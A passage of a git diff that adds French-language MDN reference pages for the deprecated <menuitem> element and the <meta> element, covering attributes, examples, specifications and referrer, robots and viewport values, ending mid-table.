+ <li>L'attribut universel <a href="/fr/docs/Web/HTML/Attributs_universels#attr-contextmenu"><code>contextmenu</code></a> qui peut être utilisé sur un élément et qui fait référence à l'attribut <code>id</code> d'un élément <code>menu</code> avec <code>context</code> qui vaut {{htmlattrxref("type","menu",'type="context"')}}.</li>
+</ul>
diff --git a/files/fr/web/html/element/menuitem/index.html b/files/fr/web/html/element/menuitem/index.html
new file mode 100644
index 0000000000..da6873ec18
--- /dev/null
+++ b/files/fr/web/html/element/menuitem/index.html
@@ -0,0 +1,155 @@
+---
+title: <menuitem>
+slug: Web/HTML/Element/menuitem
+tags:
+  - Déprécié
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/menuitem
+---
+<p>{{HTMLRef}}{{Deprecated_Header("HTML5.2")}}</p>
+
+<p>L'élément HTML <strong><code>&lt;menuitem&gt;</code></strong> représente une commande qu'un utilisateur peut utiliser via un menu contextuel ou un menu rattaché à un bouton.</p>
+
+<p>Une commande peut être définie explicitement, avec un texte et éventuellement une icône ou bien faire référence à une commande décrite dans un autre élément. Une commande peut prendre la forme d'une case à cocher ou d’un groupe de boutons radio.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut également <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a> et notamment <code>title</code> qui peut être utilisé afin de décrire une commande ou pour fournir des indications quant à l'utilisation de celle-ci.</p>
+
+<dl>
+ <dt>{{htmlattrdef("checked")}}</dt>
+ <dd>Un attribut booléen qui indique si la commande est sélectionné. Cet attribut peut uniquement être utilisé lorsque l'attribut <code>type</code> vaut <code>checkbox</code> ou <code>radio</code>.</dd>
+ <dt>{{htmlattrdef("command")}}</dt>
+ <dd>Cet attribut définit l'identifiant d'un autre élément qui indique une commande invoquée indirectement. Cet attribut ne peut pas être utilisé si les attributs <code>checked</code>, <code>disabled</code>, <code>icon</code>, <code>label</code>, <code>radiogroup</code> ou <code>type</code> sont utilisés.</dd>
+ <dt>{{htmlattrdef("default")}}</dt>
+ <dd>Un attribut booléen qui indique la commande par défaut du menu.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>Un attribut booléen qui indique que la commande n'est pas disponible dans l'état actuel. On notera que <code>disabled</code> est sémantiquement différent de <code>hidden</code>.</dd>
+ <dt>{{htmlattrdef("icon")}}</dt>
+ <dd>Une URL vers image qui représente la commande.</dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>Le nom de la commande affiché pour l'utilisateur. Cet attribut est obligatoire lorsque l'attribut <code>command</code> est absent.</dd>
+ <dt>{{htmlattrdef("radiogroup")}}</dt>
+ <dd>Cet attribut indique le nom d'un groupe de commandes étant des boutons radio. Cet attribut peut uniquement être utilisé lorsque <code>type</code> vaut <code>radio</code>.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Cet attribut indique le type de commande dans le menu. C'est un attribut à valeur contrainte qui peut prendre une des valeurs suivantes :
+ <ul>
+  <li><code>command</code> : une commande associée à une action donnée. C'est la valeur par défaut de l'attribut.</li>
+  <li><code>checkbox</code> : une commande qui peut avoir un état parmi deux états différents.</li>
+  <li><code>radio</code> : une commande qui représente une sélection au sein d'un groupe de commandes qui sont des boutons radio.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;!-- Un élément &lt;div&gt; avec un menu contextuel --&gt;
+&lt;div contextmenu="popup-menu"&gt;
+  Effectuez un clic-droit pour voir le menu contextuel
+&lt;/div&gt;
+
+&lt;menu type="context" id="popup-menu"&gt;
+  &lt;menuitem type="checkbox" checked&gt;Une case à cocher&lt;/menuitem&gt;
+  &lt;hr&gt;
+  &lt;menuitem type="command" label="Cette commande ne fait rien" icon="https://developer.cdn.mozilla.net/static/img/favicon144.png"&gt;
+    Les commandes n'affichent pas leurs contenus.
+  &lt;/menuitem&gt;
+  &lt;menuitem type="command" label="Cette commande contient du JavAScript" onclick="alert('command clicked')"&gt;
+    Les commandes n'affichent pas leurs contenus.
+  &lt;/menuitem&gt;
+  &lt;hr&gt;
+  &lt;menuitem type="radio" radiogroup="group1"&gt;Bouton radio 1&lt;/menuitem&gt;
+  &lt;menuitem type="radio" radiogroup="group1"&gt;Bouton radio 2&lt;/menuitem&gt;
+&lt;/menu&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 300px;
+  height: 80px;
+  background-color: lightgreen;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '300', '80')}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Aucun, c'est un élément vide.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>Cet élément doit avoir une balise ouvrante et ne doit pas avoir de balise fermante.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Un élément {{HTMLElement("menu")}} lorsque son attribut vaut <code>type</code> ou que cet élément <code>&lt;menu&gt;</code> est lui même le fils d'un élément <code>&lt;menu</code>&gt;.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLMenuItemElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "obsolete.html#menuitem", "&lt;menuitem&gt;")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Aucune modification depuis la dernière dérivation {{SpecName("HTML5.2")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.2", "obsolete.html#elementdef-menuitem", "&lt;menuitem&gt;")}}</td>
+   <td>{{Spec2("HTML5.2")}}</td>
+   <td>Dérivation de {{SpecName("HTML WHATWG")}}, rendue obsolète.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "interactive-elements.html#the-menuitem-element", "&lt;menuitem&gt;")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Dérivation de {{SpecName("HTML WHATWG")}}, définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.menuitem")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("menu")}}</li>
+ <li><a href="https://hacks.mozilla.org/2011/11/html5-context-menus-in-firefox-screencast-and-code/">Les menus contextuels HTML5 dans Firefox</a></li>
+</ul>
diff --git a/files/fr/web/html/element/meta/index.html b/files/fr/web/html/element/meta/index.html
new file mode 100644
index 0000000000..cc937074ff
--- /dev/null
+++ b/files/fr/web/html/element/meta/index.html
@@ -0,0 +1,467 @@
+---
+title: '<meta> : l''élément de métadonnées du document'
+slug: Web/HTML/Element/meta
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/meta
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;meta&gt;</code></strong> représente toute information de métadonnées qui ne peut pas être représentée par un des éléments ({{HTMLElement("base")}}, {{HTMLElement("link")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} ou {{HTMLElement("title")}})</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :  </strong>Il faut préciser que l'attribut {{htmlattrxref("name", "meta")}} possède une signification spécifique à l'élément {{HTMLElement("meta")}} et que l'attribut {{htmlattrxref("itemprop")}} ne doit pas être utilisé quand l'un de ces attributs est déjà utilisé : {{htmlattrxref("name", "meta")}}, {{htmlattrxref("http-equiv", "meta")}} ou {{htmlattrxref("charset", "meta")}}.</p>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("charset")}}</dt>
+ <dd>Cet attribut déclare l'encodage utilisé par la page. Il peut être outrepassé de manière locale en utilisant l'attribut <code><strong>lang</strong></code> d'un élément. La valeur de cet attribut est une chaîne de caractères et doit être l'un des <em>noms MIME préférés</em> d'un encodage comme <a href="https://www.iana.org/assignments/character-sets/character-sets.xml">spécifié par l'IANA</a>. Bien que le standard ne fixe pas d'encodage particulier, il fournit cependant quelques recommendations :
+ <ul>
+  <li>Les auteurs sont invités à utiliser UTF-8.</li>
+  <li>Les auteurs ne devraient pas utiliser d'encodage incompatible avec l'ASCII (c'est à dire ceux dont les codes 8-bits de 0x20 à 0x7E ne correspondent pas, de manière respective, aux codes Unicode 0x0020 à 0x007E) car ceux-ci représentent un risque de sécurité, les navigateurs ne les supportant pas pouvant traduire du contenu bénin en des éléments HTML. Ceci est le cas pour les jeux de caractères suivants : <code>JIS_C6226-1983</code>, <code>JIS_X0212-1990</code>, <code>HZ-GB-2312</code>, <code>JOHAB</code>, la famille d'encodage <code>ISO-2022</code> et la famille d'encodage <code>EBCDIC</code>.</li>
+  <li>
+   <div class="warning">
+   <p>Les auteurs ne doivent pas utiliser <code>CESU-8</code>, <code>UTF-7</code>, <code>BOCU-1</code> et <code>SCSU</code>. Ceux-ci rejoignent le cas précédents et n'ont pas été conçus pour être utilisés sur le web. Certaines attaques de types XSS (<em>Cross-site scripting</em>) ont pu être recensées avec ces encodages.</p>
+   </div>
+  </li>
+  <li>
+   <div class="warning">
+   <p>Les auteurs ne devraient pas utiliser <code>UTF-32</code> car certains algorithmes d'encodage HTML5 ne peuvent différiencer <code>UTF-32</code> de <code>UTF-16</code>.</p>
+   </div>
+  </li>
+ </ul>
+
+ <div class="note"><strong>Notes :</strong>
+
+ <ul>
+  <li>Le jeux de caractères déclaré doit correspondre à celui utilisé dans la page. Il est inutile de déclarer un jeu de caractères incorrect (cela entraînant également une mauvaise expérience utilisateur).</li>
+  <li>L'élément {{HTMLElement("meta")}} doit appartenir à l'élément {{HTMLElement("head")}} et doit apparaître parmi les <strong>512 premiers octets de la page</strong>. En effet, certains navigateurs ne consultent seulement ces premiers octets pour déterminer l'encodage utilisé pour la page.</li>
+  <li>L'élément {{HTMLElement("meta")}} ne représente qu'une partie de l'<a href="https://www.whatwg.org/specs/web-apps/current-work/multipage/parsing.html#encoding-sniffing-algorithm">algorithme déterminant le jeu de caractères</a> à appliquer sur la page par le navigateur. Ainsi, l'en-tête HTTP Content-Type et tous les éléments BOM auront une priorité supérieure à cet élément.</li>
+  <li>Définir le jeu de caractères utilisé grâce à cet attribut représente une bonne pratique et est fortement recommandé. Si aucun encodage n'est défini pour la page, plusieurs techniques XSS peuvent porter atteinte à l'utilisateur (voir l'exemple de la <a class="external" href="https://code.google.com/p/doctype-mirror/wiki/ArticleUtf7">technique XSS de recours à UTF-7</a>). Toujours renseigner cet élément meta protégera contre ces dangers.</li>
+  <li>L'élément {{HTMLElement("meta")}} est un synonyme de <code>&lt;meta http-equiv="Content-Type" content="text/html; charset=<em>IANAcharset</em>"&gt;</code> utilisé avant HTML5. Ici <em><code>IANAcharset</code> </em>correspond à la valeur de l'attribut  {{htmlattrxref("charset", "meta")}} correspondant. Bien qu'elle soit obsolète et qu'elle ne soit plus recommandée, cette syntaxe est toujours autorisée.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("content")}}</dt>
+ <dd>Cet attribut fournit la valeur associée avec l'attribut {{htmlattrxref("http-equiv", "meta")}} ou l'attribut {{htmlattrxref("name", "meta")}} suivant le contexte utilisé.</dd>
+ <dt>{{htmlattrdef("http-equiv")}}</dt>
+ <dd>Cet attribut pouvant prendre des valeurs pré-définies représente un objet pouvant modifier le comportement des serveurs ou des agents utilisateur. Sa valeur est définie grâce à l'attribut {{htmlattrxref("content", "meta")}} et peut être l'une des suivantes :
+ <dl>
+  <dt><code>content-language</code> {{obsolete_inline}}</dt>
+  <dd>Définit la langue par défaut utilisée par une page
+  <div class="warning"><strong>Attention !</strong> Cette valeur n'est plus recommandée et ne doit donc plus être utilisée. L'attribut <code><strong>lang</strong></code> de l'élément {{HTMLElement("body")}} doit être utilisé pour remplir cette fonction.</div>
+  </dd>
+  <dt><code>Content-Security-Policy</code></dt>
+  <dd>Cette valeur permet aux administrateurs de sites web de définir des règles de gestion de contenu pour les ressources qui sont servies. Cela permet notamment d'indiquer les origines valides et les points d'accès aux scripts afin de protéger contre les attaques XSS.</dd>
+  <dt><code>content-type</code> {{obsolete_inline}}</dt>
+  <dd>Ce champ d'attribut définit le <a href="/fr/docs/Glossaire/Type_MIME">type MIME</a> du document et peut être suivi par son jeu de caractères. Il respecte la même syntaxe que le champ <code>content-type</code> appartenant à l'en-tête HTTP. Cet attribut faisant, lui, partie d'un élément HTML, il n'est pas possible d'utiliser la plupart des valeurs. La syntaxe correcte pour son contenu est donc la chaîne de caractère <code>'text/html</code>' éventuellement suivie par un jeu de caractères avec la syntaxe suivante : '<code>; charset=</code><em><code>IANAcharset</code></em>' où <code>IANAcharset</code> est l'appellation MIME du jeu de caractères, <a class="external" href="https://www.iana.org/assignments/character-sets">présentée par l'IANA</a>
+  <div class="warning"><strong>Notes d'utilisation</strong>
+  <ul>
+   <li>Ce champ n'est plus recommandé et ne donc doit pas être utilisé. L'attribut {{htmlattrxref("charset", "meta")}} de l'élément {{HTMLElement("meta")}} doit être utilisé à la place.</li>
+   <li>Étant donné que l'élément {{HTMLElement("meta")}} peut ne pas être utilisé pour changer le type d'un document XHTML, ou d'un document HTML5 précédé par une syntaxe XHTML, il ne faut pas utiliser ce champs pour définir un type MIME étant un type MIME XHTML. Cela serait incorrect.</li>
+   <li>Seuls les documents HTML peuvent utiliser ce champ, cela entraîne donc une certaine redondance. C'est pourquoi il a été rendu obsolète et remplacé par l'attribut {{htmlattrxref("charset", "meta")}}.</li>
+  </ul>
+  </div>
+  </dd>
+  <dt><code>refresh</code></dt>
+  <dd>Ce champ définit :
+  <ul>
+   <li>le nombre de secondes qu'il faudrait attendre avant de recharger la page si l'attribut {{htmlattrxref("content", "meta")}} contient seulement un nombre entier positif</li>
+   <li>le nombre de secondes qu'il faudrait attendre avant que la page soit redirigée vers une autre page, si l'attribut {{htmlattrxref("content", "meta")}} contient un nombre entier positif suivi par la chaîne de caractères '<code>;url=</code>' ainsi qu'une URL valide.</li>
+  </ul>
+  </dd>
+  <dt><code>set-cookie</code> {{obsolete_inline}}{{non-standard_inline}}</dt>
+  <dd>Ce champ définit un cookie pour la page. Son contenu doit respecter la syntaxe énoncée par la <a class="external" href="https://tools.ietf.org/html/draft-ietf-httpstate-cookie-14">IETF HTTP Cookie Specification</a>.
+  <div class="warning"><strong>Attention !</strong> Ce champ est désormais obsolète et ne doit donc pas être utilisé. L'en-tête HTTP <a href="/fr/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> doit être utilisée à la place.  Cette valeur a été retirée du standard et n'est plus prise en charge à partir de <a href="https://www.fxsitecompat.dev/en-CA/docs/2019/setting-cookies-with-meta-http-equiv-is-no-longer-allowed/">Firefox 68</a> et de <a href="https://www.chromestatus.com/feature/6170540112871424">Chrome 65</a>.</div>
+  </dd>
+ </dl>
+ </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Cet attribut définit le nom d'un métadonnée au niveau du document. Il ne doit pas être utilisé si l'un des attributs  {{htmlattrxref("itemprop", "meta")}}, {{htmlattrxref("http-equiv", "meta")}} ou {{htmlattrxref("charset", "meta")}} est utilisé.<br>
+ Le nom de la métadonnée document est associé à une valeur contenue dans l'attribut {{htmlattrxref("content", "meta")}}. Les noms possibles et la signification de leurs valeurs (contenues dans l'attribut {{htmlattrxref("content", "meta")}}) sont :
+ <ul>
+  <li><code>application-name</code>, qui définit le nom de l'application web utilisée dans la page
+   <div class="note"><strong>Notes :</strong>
+   <ul>
+    <li>Les navigateurs peuvent l'utiliser pour identifier l'application. Il est à distinguer de l'élément {{HTMLElement("title")}} qui contient généralement le nom de l'application mais qui contient aussi des informations comme le nom du document ou un statut</li>
+    <li>Les pages web simples ne devraient pas utiliser cet attribut de métadonnée.</li>
+   </ul>
+   </div>
+  </li>
+  <li><code>author</code>, définit le nom de l'auteur du document (pas de contrainte de format)</li>
+  <li><code>description</code>, contient un résumé concis et pertinent du contenu de la page. Plusieurs navigateurs, dont Firefox et Opera, utilisent cette métadonnée comme description de la page lorsque celle-ci est mise dans les favoris.</li>
+  <li><code>generator</code>, contient l'identifiant du logiciel ayant généré la page (pas de contrainte de format)</li>
+  <li><code>keywords</code>, contient une liste de mots-clés séparés par des virgules. Ces mots-clés sont pertinents et relatifs au contenu de la page.</li>
+  <li><code>referrer</code> qui contrôle <a href="/fr/docs/Web/HTTP/Headers/Referer">l'en-tête HTTP <code>Referer</code> </a>attachée aux requêtes envoyées à partir du document :
+   <table class="standard-table">
+    <caption>Valeurs pour l'attribut <code>content</code> de <code>&lt;meta name="referrer"&gt;</code></caption>
+    <tbody>
+     <tr>
+      <td><code>no-referrer</code></td>
+      <td>Aucun en-tête HTTP <code>Referer</code> n'est envoyé.</td>
+     </tr>
+     <tr>
+      <td><code>origin</code></td>
+      <td>Seule l'<a href="/fr/docs/Glossary/Origin">origine</a> du document est envoyée.</td>
+     </tr>
+     <tr>
+      <td><code>no-referrer-when-downgrade</code></td>
+      <td>L'<a href="/fr/docs/Glossary/Origin">origine</a> est envoyée envers les URL qui sont aussi sécurisée que la page courante (https→https). Aucun référent n'est envoyé lorsque l'URL est moins sécurisée (https→http). Cette valeur est la valeur par défaut.</td>
+     </tr>
+     <tr>
+      <td><code>origin-when-crossorigin</code></td>
+      <td>L'URL complète (sans les paramètres) est envoyée pour les requêtes provenant de la même origine. Dans les autres cas, seule l'<a href="/fr/docs/Glossary/Origin">origine</a> est envoyée.</td>
+     </tr>
+     <tr>
+      <td><code>same-origin</code></td>
+      <td>Un référent est envoyé <a href="/fr:docs/Web/Security/Same-origin_policy">pour les sites d'origine équivalente</a>, mais les requêtes entre différentes origines ne contiendra pas de référent.</td>
+     </tr>
+     <tr>
+      <td><code>strict-origin</code></td>
+      <td>Seule l'origine du document est envoyée pour les destinations <em>a priori</em> aussi sécurisées que la page courante (HTTPS-&gt;HTTPS) mais cette information n'est pas envoyée vers une destination moins sécurisée (HTTPS-&gt;HTTP).</td>
+     </tr>
+     <tr>
+      <td><code>strict-origin-when-cross-origin</code></td>
+      <td>L'URL complète est envoyée pour une requête provenant de la même origine. Seule l'origine du document est envoyée pour les destinations aussi sécurisées que la page (HTTPS-&gt;HTTPS), aucun en-tête n'est envoyé pour les destinations moins sécurisées (HTTPS-&gt;HTTP).</td>
+     </tr>
+     <tr>
+      <td><code>unsafe-URL</code></td>
+      <td>L'URL complète (sans les paramètres) est envoyée pour les requête d'origines équivalents et pour les autres requêtes (<em>cross-origin</em>).</td>
+     </tr>
+    </tbody>
+   </table>
+
+   <div class="note">
+   <p><strong>Notes:</strong></p>
+
+   <ul>
+    <li>Certains navigateurs prennent en charge les valeurs dépréciées <code>always</code>, <code>default</code> et <code>never</code>.</li>
+    <li>L'insertion dynamique de <code>&lt;meta name="referrer"&gt;</code> (grâce à  <a href="/fr/docs/Web/API/Document/write"><code>document.write</code></a> ou <a href="/fr/docs/Web/API/Node/appendChild"><code>appendChild</code></a>) rend le comportement imprévisible.</li>
+    <li>Lorsque plusieurs règles conflictuelles sont définies, c'est la règle <code>no-referrer</code> qui est appliquée.</li>
+   </ul>
+   </div>
+  </li>
+  <li><code>theme-color</code> qui indique une suggestion de couleur que l'agent utilisateur devrait prendre en compte afin de personnaliser l'affichage de la page ou l'interface utilisateur environnante. L'attribut <code>content</code> contiendra une couleur valide au sens CSS (cf. {{cssxref("&lt;color&gt;")}}).</li>
+  <li>
+   <dl>
+    <dt><code>color-scheme</code></dt>
+    <dd>
+    <p>Définit un ou plusieurs modes de couleurs avec lesquels le document est compatible. Le navigateur utilisera cette information ainsi que les réglages du navigateur ou de l'appareil pour déterminer les couleurs à utiliser (que ce soit pour l'arrière-plan, les contrôles, les barres de défilement, etc.). <code>&lt;meta name="color-scheme"&gt;</code> sert principalement à indiquer la compatibilité et la préférence pour les différents modes de couleur (sombre / clair entre autres).</p>
+
+    <p>La valeur de {{htmlattrxref("content","meta")}} pour <code>color-scheme</code> peut être :</p>
+
+    <dl>
+     <dt><code>normal</code></dt>
+     <dd>Le document n'est pas affecté par les modes de couleurs et devrait utiliser la palette de couleur par défaut.</dd>
+     <dt><code>[light</code> | <code>dark]+</code></dt>
+     <dd>Un ou plusieurs modes de couleurs sont pris en charge par le document. Si un nom de mode est répété, cela est équivalent à le mentionner une seule fois. Lorsque plusieurs modes sont présents, cela indique une préférence pour le premier et aussi que le second est acceptable si l'utilisateur préfère celui-ci.</dd>
+     <dt><code>only light</code></dt>
+     <dd>Indique que le document prend uniquement en charge un mode clair (avec un fond clair et du contenu sombre). La valeur <code>only dark</code> n'est pas valide selon la spécification car le mode sombre est généralement mois lisible et que les navigateurs utilisent un mode clair par défaut.</dd>
+    </dl>
+
+    <p>Ainsi, si on préfére utiliser un mode sombre et laisser le mode clair utilisable, on pourra écrire :</p>
+
+    <pre class="brush: html">&lt;meta name="color-scheme" content="dark light"&gt;</pre>
+
+    <p>Cela fonctionne pour l'ensemble du document. Pour cibler des éléments en particulier, on pourra utiliser la propriété CSS {{cssxref("color-scheme")}}. La mise en forme pourra tirer parti du mode utilisé par le système grâce à la caractéristique <code><a href="/fr/docs/Web/CSS/@media/prefers-color-scheme">prefers-color-scheme</a></code>.</p>
+    </dd>
+   </dl>
+  </li>
+ </ul>
+
+ <p>Cet attribut peut également avoir une valeur définie dans une liste plus large : <a class="external" href="https://wiki.whatwg.org/wiki/MetaExtensions">WHATWG Wiki MetaExtensions</a>. Bien qu'aucune n'ait encore été acceptée, certaines sont parfois utilisées fréquemment :</p>
+
+ <ul>
+  <li><code>creator</code>, définit le nom du créateur du document (sans contrainte de format). Cela peut être le nom d'une institution. Si plusieurs créateurs sont à recenser, plusieurs éléments {{HTMLElement("meta")}} devront être utilisés</li>
+  <li><code>googlebot</code>, synonyme de <code>robots</code>, est suivi par Googlebot, le robot de Google qui indexe les pages</li>
+  <li><code>publisher</code>, définit le nom de l'éditeur du document (sans contrainte de format). Cela peut être le nom d'une institution.</li>
+  <li><code>robots</code>, définit le comportement que les robots d'indexation devraient respecter. C'est une liste de valeurs séparées par des virgules. La liste qui suit définit les valeurs que l'on peut utiliser :
+   <table class="standard-table">
+    <caption>Valeurs pour le contenu de <code>&lt;meta name="robots"&gt;</code></caption>
+    <thead>
+     <tr>
+      <th scope="col">Valeur</th>
+      <th scope="col">Description</th>
+      <th scope="col">Utilisé par</th>
+     </tr>
+    </thead>
+    <tbody>
+     <tr>
+      <td><code>index</code></td>
+      <td>Permet au robot d'indexer la page</td>
+      <td>Tous</td>
+     </tr>
+     <tr>
+      <td><code>noindex</code></td>
+      <td>Interdit au robot d'indexer la page</td>
+      <td>Tous</td>
+     </tr>
+     <tr>
+      <td><code>follow</code></td>
+      <td>Permet au robot de suivre les liens contenus dans la page</td>
+      <td>Tous</td>
+     </tr>
+     <tr>
+      <td><code>nofollow</code></td>
+      <td>Interdit au robot de suivre les liens contenus dans la page</td>
+      <td>Tous</td>
+     </tr>
+     <tr>
+      <td><code>none</code></td>
+      <td>Synonyme de <code>noindex</code>, <code>nofollow</code></td>
+      <td><a href="https://support.google.com/webmasters/answer/79812">Google</a></td>
+     </tr>
+     <tr>
+      <td><code>noodp</code></td>
+      <td>Empêche que la description <a class="external" href="https://www.dmoz-odp.org/">Open Directory Project</a> si celle-ci est présente, soit affichée dans les résultats du moteur de recherche</td>
+      <td>
+       <p><a class="external" href="https://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=79812">Google</a>, <a href="https://help.yahoo.com/l/us/yahoo/search/indexing/indexing-11.html;_ylt=Arh3LHnisvRMPJKzQqmJ97JYqCN4">Yahoo</a>, <a href="https://www.bing.com/webmaster/help/which-robots-metatags-does-bing-support-5198d240">Bing</a></p>
+      </td>
+     </tr>
+     <tr>
+      <td><code>noarchive</code></td>
+      <td>Empêche le moteur de recherche de mettre en cache le contenu de la page</td>
+      <td><a class="external" href="https://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=79812">Google</a>, <a class="external" href="https://help.yahoo.com/l/us/yahoo/search/indexing/basics-10.html;_ylt=Aszma_Ly8TfhL7mn_LGWn5RYqCN4">Yahoo</a></td>
+     </tr>
+     <tr>
+      <td><code>nosnippet</code></td>
+      <td>Empêche l'affichage de la description de la page dans les résultats du moteur de recherche</td>
+      <td><a class="external" href="https://www.google.com/support/webmasters/bin/answer.py?answer=35304">Google</a></td>
+     </tr>
+     <tr>
+      <td><code>noimageindex</code></td>
+      <td>Empêche la page d'apparaître en tant que page de référence ayant permis l'indexation de l'image</td>
+      <td><a class="external" href="https://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=79812">Google</a></td>
+     </tr>
+     <tr>
+      <td><code>noydir</code></td>
+      <td>Empêche l'utilisation et l'affichage de la description Yahoo Directory parmi les résultats du moteur de recherche, si celle-ci est présente</td>
+      <td>Yahoo</td>
+     </tr>
+     <tr>
+      <td><code>nocache</code></td>
+      <td>Synonyme de <code>noarchive</code></td>
+      <td>Bing</td>
+     </tr>
+    </tbody>
+   </table>
+
+   <div class="note"><strong>Notes :</strong>
+
+   <ul>
+    <li>Seuls les robots « respectueux » suivront ces règles. Il ne faut pas considérer cela comme une manière efficace de blocage (robots indexeurs cherchant des adresses e-mails pour le spam notamment)</li>
+    <li>Le robot aura besoin d'accéder à la page pour lire la valeur de la métadonnée. Afin d'empêcher des accès intempestifs (par exemple pour réduire le débit utilisé) un fichier <em>{{Glossary("robots.txt")}}</em> doit être utilisé en priorité (ou en complément).</li>
+    <li>Si vous souhaitez retirer la page du contenu d'un index, la valeur <code>noindex</code> fonctionnera mais seulement à partir de la prochaine analyse. Assurez-vous de ne pas bloquer cette analyse (par exemple avec le fichier <code><a href="/fr/docs/Glossaire/Robots.txt">robots.txt</a></code>). Certains moteurs de recherches ont des outils destinés aux développeurs qui permettent de rapidement désindexer une page.</li>
+    <li>Certaines valeurs sont contradictoires et incompatibles : <code>index</code> et <code>noindex</code>, ou <code>follow</code> et <code>nofollow</code>. Dans le cas où ces valeurs sont utilisées simultanément, le comportement d'un robot est indéfini et peut varier selon les robots. Il est donc conseillé d'éviter de tels cas de figures.</li>
+    <li>Certains robots, comme ceux de Google, Yahoo Search ou Bing, supportent ces valeurs quand elles sont utilisées dans une directive HTTP <code>X-Robots-Tags</code>: . Cela permet d'utiliser cette information pour des documents non-HTML comme les images.</li>
+   </ul>
+   </div>
+  </li>
+  <li><code>slurp</code>, synonyme de <code>robots</code>, qui est suivi uniquement par Slurp, le robot d'indexation de Yahoo Search.</li>
+ </ul>
+
+ <p>Enfin, quelques noms sont utilisés fréquemment mais sont pas considérés comme standards :</p>
+
+ <ul>
+  <li><code>viewport</code>, qui donne une indication quant à la taille du <a href="/fr/docs/Mozilla/Mobile/Viewport_meta_tag">viewport</a> (vue virtuelle). Cette information est utilisée pour les terminaux mobiles uniquement :<br>
+    <br>
+
+   <table class="fullwidth-table">
+    <caption>Valeurs pour le contenu de &lt;meta name="viewport"&gt;</caption>
+    <thead>
+     <tr>
+      <th scope="col">Valeur</th>
+      <th scope="col">Valeurs possibles</th>
+      <th scope="col">Description</th>
+     </tr>
+    </thead>
+    <tbody>
+     <tr>
+      <td><code>width</code></td>
+      <td>un nombre entier positif ou le mot-clé <code>device-width</code></td>
+      <td>Définit la largeur, en pixels, de la zone d'affichage (<em>viewport</em>) dans laquelle on veut que le site soit affiché.</td>
+     </tr>
+     <tr>
+      <td><code>height</code></td>
+      <td>un nombre entier positif ou le mot-clé <code>device-height</code></td>
+      <td>Définit la hauteur, en pixels, de la zone d'affichage (viewport) dans laquelle on veut que le site soit affiché.</td>
+     </tr>
+     <tr>
+      <td><code>initial-scale</code></td>
+      <td>un nombre positif entre <code>0.0</code> et <code>10.0</code></td>
+      <td>définit le ratio entre la taille de l'écran du terminal (<code>device-width</code> en portrait ou <code>device-height</code> en paysage) et la taille de la zone d'affichage.</td>
+     </tr>
+     <tr>
+      <td><code>maximum-scale</code></td>
+      <td>un nombre positif entre <code>0.0</code> et <code>10.0</code></td>
+      <td>définit la valeur maximale du zoom possible. Doit être supérieur ou égal à<code> minimum-scale</code>, sinon le comportement est indéterminé</td>
+     </tr>
+     <tr>
+      <td><code>minimum-scale</code></td>
+      <td>un nombre positif entre <code>0.0</code> et <code>10.0</code></td>
+      <td>définit la valeur minimale du zoom possible. Doit être inférieur ou égal à<code> maximum-scale</code>, sinon le comportement est indéterminé</td>
+     </tr>
+     <tr>
+      <td><code>user-scalable</code></td>
+      <td>un booléen  (<code>yes</code> ou <code>no</code>)</td>
